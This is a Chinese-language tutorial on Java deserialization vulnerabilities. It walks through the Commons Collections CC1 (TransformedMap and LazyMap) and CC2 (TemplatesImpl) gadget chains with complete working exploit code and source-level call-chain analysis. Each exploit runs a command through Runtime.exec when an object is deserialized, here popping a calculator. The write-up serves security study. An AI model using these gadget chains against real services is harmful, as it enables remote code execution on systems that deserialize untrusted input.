Java反序列化

Java反序列化

什么是序列化和反序列化

如果我们需要持久化 Java 对象比如将 Java 对象保存在文件中,或者在网络传输 Java 对象,这些场景都需要用到序列化。

  • 序列化:将数据结构或对象转换成二进制字节流的过程
  • 反序列化:将在序列化过程中所生成的二进制字节流转换成数据结构或者对象的过程

下面是序列化和反序列化常见应用场景:

  • 对象在进行网络传输(比如远程方法调用 RPC 的时候)之前需要先被序列化,接收到序列化的对象之后需要再进行反序列化;
  • 将对象存储到文件之前需要进行序列化,将对象从文件中读取出来需要进行反序列化;
  • 将对象存储到数据库(如 Redis)之前需要用到序列化,将对象从缓存数据库中读取出来需要反序列化;
  • 将对象存储到内存之前需要进行序列化,从内存中读取出来之后需要进行反序列化。

综上:序列化的主要目的是通过网络传输对象或者说是将对象存储到文件系统、数据库、内存中。

image

CommonsCollections1

版本适用范围

Commons-Collections 3.1-3.2.1

Java JDK < 8u71

TransformerMap链

PoC展示

这是一段PoC,运行后会弹出一个计算器。

package org.example.cc;import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaHashMap<Object, Object> innerMap = new HashMap();innerMap.put("value", "hack");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//触发漏洞onlyElement.setValue("foobar");}
}

PoC调用分析

先debug看看调用链,整个过程从onlyElement.setValue("foobar")​开始,每段代码只取相关的片段。

源码的注释需要下载CommonsCollections源码查看,debug时是没有的。

AbstractInputCheckedMapDecorator
// org. apache. commons. collections. map. AbstractInputCheckedMapDecoratorprotected abstract Object checkSetValue(Object var1);//3/*** Implementation of a map entry that checks additions via setValue.*/static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;/** The parent map */protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {//1value = this.parent.checkSetValue(value);//2return this.entry.setValue(value);}}

如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。

checkSetValue对应的实现有两个如下:

image

根据PoC的代码,这里会执行TransformMap里定义的checkSetValue。

TransformedMap
// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator// protected final Transformer keyTransformer;protected final Transformer valueTransformer;/*** Factory method to create a transforming map.* <p>* If there are any elements already in the map being decorated, they* are NOT transformed.* Constrast this with {@link #decorateTransform}.* * @param map  the map to decorate, must not be null* @param keyTransformer  the transformer to use for key conversion, null means no transformation* @param valueTransformer  the transformer to use for value conversion, null means no transformation* @throws IllegalArgumentException if map is null*/public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}/*** Constructor that wraps (not copies).*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}/*** Override to transform the value when using <code>setValue</code>.* * @param value  the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {//1return this.valueTransformer.transform(value);//2}

该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。

该类还与PoC中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)​有关。

PoC中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。

2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据PoC中的代码,这里会运行ChainedTransformer类实现的transform。

ChainedTransformer
// org. apache. commons. collections. functors. ChainedTransformer implements Transformerprivate final Transformer[] iTransformers;/*** Transforms the input to result via each decorated transformer* * @param object  the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {//1for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);//2}return object;}

ChainedTransformer实现了Transformer接口,实现了transform。

2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。

transform对应的实现有21个如下:

image

根据PoC中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。

ConstantTransformer
 // org. apache. commons. collections. functors. ConstantTransformer implements Transformerprivate final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input  the input object which is ignored* @return the stored constant*/public Object transform(Object input) {//1return this.iConstant;//2}

根据PoC中new ConstantTransformer(Runtime.class)​,2处返回的是java.lang.Runtime。

由此可见PoC中onlyElement.setValue("foobar")​,值为多少都无所谓。

InvokerTransformer
// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

此处是整个PoC的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec("calc.exe")。

下面重点分析此处代码。

PoC构造分析

通过反射实现Runtime.getRuntime().exec("calc.exe")

需要了解Java反射以及forName、getMethod、invoke函数。

下面主要看下源码里对这三个函数的注释描述。

forName
    /*** Returns the Class object associated with the class or interface with the given string name.* @param      className   the fully qualified name of the desired class.* @return     the Class object for the class with the specified name.  */@CallerSensitivepublic static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);}
getMethod
    /*** Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.* The name parameter is a String specifying the simple name of the desired method.* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.* If parameterTypes is null, it is treated as if it were an empty array.* * Static methods declared in superinterfaces of the class or interface* represented by this Class object are not considered members of* the class or interface.** @param name the name of the method* @param parameterTypes the list of parameters* @return the Method object that matches the specified name and parameterTypes*/@CallerSensitivepublic Method getMethod(String name, Class<?>... parameterTypes)throws NoSuchMethodException, SecurityException {checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);Method method = getMethod0(name, parameterTypes, true);if (method == null) {throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));}return method;}
invoke
    /*** Invokes the underlying method represented by this Method* object, on the specified object with the specified parameters.** If the underlying method is static, then the specified obj argument is ignored. It may be null** @param obj  the object the underlying method is invoked from* @param args the arguments used for the method call* @return the result of dispatching the method represented by*/@CallerSensitivepublic Object invoke(Object obj, Object... args)throws IllegalAccessException, IllegalArgumentException,InvocationTargetException{if (!override) {if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {Class<?> caller = Reflection.getCallerClass();checkAccess(caller, clazz, obj, modifiers);}}MethodAccessor ma = methodAccessor;             // read volatileif (ma == null) {ma = acquireMethodAccessor();}return ma.invoke(obj, args);}

因此有

[Runtime类].getMethod([方法exec]).invoke([Runtime实例],[参数calc.exe])

由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。

因此有反射构造:

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取类,"calc.exe");

invoke源码中对该函数有一段特别重要的注释,单独拿出来说:

If the underlying method is static, then the specified obj argument is ignored. It may be null

因为getMethod是static方法,因此反射构造可以改写为:

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");
依据反射构造ChainedTransformer

InvokerTransformer里有一段重要代码是构造的关键:

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

改造一下便是:

input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)

根据该结构改造反射构造:

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe");

即为了匹配样式,把Class.forName("java.lang.Runtime")​改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()​。

根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:

step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)return input.getClass().getMethod("exec", String.class).invoke(input, "calc.exe")new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")return input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(input, new Object[] {null, new Object[0]})new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")return input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(input, new Object[] {"getRuntime", new Class[0]})new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)

至此PoC中的transformers构造完成

Exp构造分析

Exp需要对PoC进行改写,使只要服务端执行了readObject函数就等于命令执行,这样更容易触发漏洞。

package org.example.cc;import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaHashMap<Object, Object> innerMap = new HashMap();innerMap.put("value", "hack");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);/*Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();onlyElement.setValue("foobar");*/Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object o = ctor.newInstance(SuppressWarnings.class, outerMap);//payload序列化写入文件,模拟网络传输FileOutputStream fos = new FileOutputStream("payload.bin");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(o);//服务端读取文件,反序列化,模拟网络传输FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();}
}

和PoC相比,Exp主要增加了一个AnnotationInvocationHandler类的使用,下面主要分析一下AnnotationInvocationHandler相关代码。

AnnotationInvocationHandler
    private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1;this.memberValues = var2;}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Map.Entry var5 = (Map.Entry)var4.next();String var6 = (String)var5.getKey();//1Class var7 = (Class)var3.get(var6);//2if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));//3}}}}

在源码处下断,调试程序,可以看到此处各个变量的值:

image

可以看到在3处,触发了AbstractMapEntryDecorator的调用,这就与PoC调用分析中的AbstractInputCheckedMapDecorator对应上了。

在构造Exp时需要特别注意1、2处的代码。

1处代码和Exp中的innerMap.put("value", "hack");​有关;2处的代码和Exp中的Object o = ctor.newInstance(SuppressWarnings.class, outerMap);​有关。

SuppressWarnings类的代码如下:

@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE})
@Retention(RetentionPolicy.SOURCE)
public @interface SuppressWarnings {String[] value();
}

可见若innerMap.put的key值不是value,或者SuppressWarnings类中没有value方法,1、2处代码就无法顺利执行。

除了SuppressWarnings类,还有Target类和Retention类,它们的代码分别如下:

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.ANNOTATION_TYPE})
public @interface Target {ElementType[] value();
}
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.ANNOTATION_TYPE})
public @interface Retention {RetentionPolicy value();
}

LazyMap链

Exp展示

package org.example.cc;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1L {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaHashMap<Object, Object> innerMap = new HashMap();//innerMap.put("value", "hack");//给予map数据转化链Map outerMap = LazyMap.decorate(innerMap, transformerChain);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);InvocationHandler ith = (InvocationHandler) ctor.newInstance(SuppressWarnings.class, outerMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},ith);Object o = ctor.newInstance(SuppressWarnings.class, mapProxy);//payload序列化写入文件,模拟网络传输FileOutputStream fos = new FileOutputStream("payload.bin");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(o);//服务端读取文件,反序列化,模拟网络传输FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();}
}

Exp构造分析

LazyMap

知道了TransformerMap链的原理,我们尝试逆调用链分析一下。

根据TransformerMap链的分析,我们需要再找一个类,调用了ChainedTransformer的transformer方法。

查看ChainedTransformer的transformer的调用关系,就可以看到LazyMap:

627bea67e99c4add810b451c1ec68a40

分析LazyMap源码,若key不存在,则调用Transformer的transform方法。

    protected final Transformer factory;public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}

接下来需要找那里可以调用这个get方法的地方。

AnnotationInvocationHandler

在TransformerMap链中分析过,AnnotationInvocationHandler的readObject方法只有调用了setValue方法,没有调用get方法。

那是否还有别的地方可以利用呢?

    private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1;this.memberValues = var2;}public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else {assert var5.length == 0;if (var4.equals("toString")) {return this.toStringImpl();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();} else if (var4.equals("annotationType")) {return this.type;} else {Object var6 = this.memberValues.get(var4);//1if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}}}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();//2while(var4.hasNext()) {Map.Entry var5 = (Map.Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}

发现invoke函数的1处,若this.memberValues是LazyMap则可以触发get函数。

那么可以利用AnnotationInvocationHandler实现了InvocationHandler,是一个动态代理类的特点,创建一个LazyMap的代理。(动态代理详见Java动态代理)

即Exp中的

InvocationHandler ith = (InvocationHandler) ctor.newInstance(SuppressWarnings.class, outerMap)

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},ith)

当mapProxy调用一个方法时,这个方法的调用就会被转发到实现了InvocationHandler接口类的AnnotationInvocationHandler的invoke方法来调用。

而readObject函数的2处,刚好通过mapProxy调用了entrySet方法,此时就会触发invoke函数的1处。

因此有Exp代码中的Object o = ctor.newInstance(SuppressWarnings.class, mapProxy)

这样整个调用链就完成了。

ps:我们在TransformerMap链中提到了构造AnnotationInvocationHandler实例时要用SuppressWarnings类、Target类或Retention类,但LazyMap链在2处即可触发,不涉及后面的代码,因此此处任意Annotation类的继承类都可以。

CommonsCollections2

版本适用范围

commons-collections4 4.0

Exp展示

commons-collections4 4.0中,LazyMap和TransformedMap没有了decorate方法,因此CommonCollections1中的利用链无法使用,需要另找别的利用链。

CommonCollections2的思路是创建一个类,在该类中构造一个包含payload的static代码块,那么JVM加载类时会执行这些静态的代码块,就会触发payload。

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CommomsCollections2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);//暴力反射field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);//暴力反射field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testInvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//添加数字1插入此优先级队列queue.add(2);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段field2.setAccessible(true);//暴力反射field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImplObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}

Exp构造分析

利用链展示

Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()

InvokerTransformer

// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

前文提到过,CommonCollections2的思路是构造一个恶意类,并在该类中构造一个包含payload的static代码块,那么JVM加载该类时会执行这个静态的代码块,以此触发payload。

那么注释1、2、3处就应该直接或间接实现该类的加载,或者创建类的实例的功能。

在Exp中,此处先加载了TemplatesImpl类,利用TemplatesImpl类中的方法,实例化了我们构造的恶意类。

此处,input是TemplatesImpl类的一个实例,iMethodName是newTransformer。

接下来分析其中原理。

TemplatesImpl

    private String _name = null;private byte[][] _bytecodes = null;private Class[] _class = null;/*** Defines the translet class and auxiliary classes.* Returns a reference to the Class object that defines the main class*/private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);//3final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}/*** This method generates an instance of the translet class that is* wrapped inside this Template. The translet instance will later* be wrapped inside a Transformer object.*/private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;//5if (_class == null) defineTransletClasses();//2// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//4translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}/*** Implements JAXP's Templates.newTransformer()** @throws TransformerConfigurationException*/public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);//1if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}

注释1处调用了getTransletInstance,分析getTransletInstance。

注释2处调用了defineTransletClasses,在defineTransletClasses里注释3处,会解析类的字节码_bytecodes,_bytecodes就是之后我们构造的包含payload的类的字节码。

回到注释4处,程序会为我们传入的恶意TemplatesImpl类创建一个实例,里面的静态代码包含的payload就会在此时执行。

ps1:

在构造时我们还需要注意两点:

  • 注释4处,创建的是一个AbstractTranslet示例,因此我们的恶意类要继承一下AbstractTranslet
  • 注释5处,我们构造时需要给_name赋一个任意的值,不然后面的代码不会执行

ps2:

q:为什么不直接在InvokerTransformer#transform里调用getTransletInstance?

a:因为getTransletInstance是私有方法

于是有Exp中的构造:

    String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);//暴力反射field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);//暴力反射field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

TransformingComparator

    /** The decorated comparator. */private final Comparator<O> decorated;/** The transformer being used. */private final Transformer<? super I, ? extends O> transformer;public TransformingComparator(Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}/*** Returns the result of comparing the values from the transform operation.** @param obj1  the first object to transform then compare* @param obj2  the second object to transform then compare* @return negative if obj1 is less, positive if greater, zero if equal*/public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);//1final O value2 = this.transformer.transform(obj2);//2return this.decorated.compare(value1, value2);}

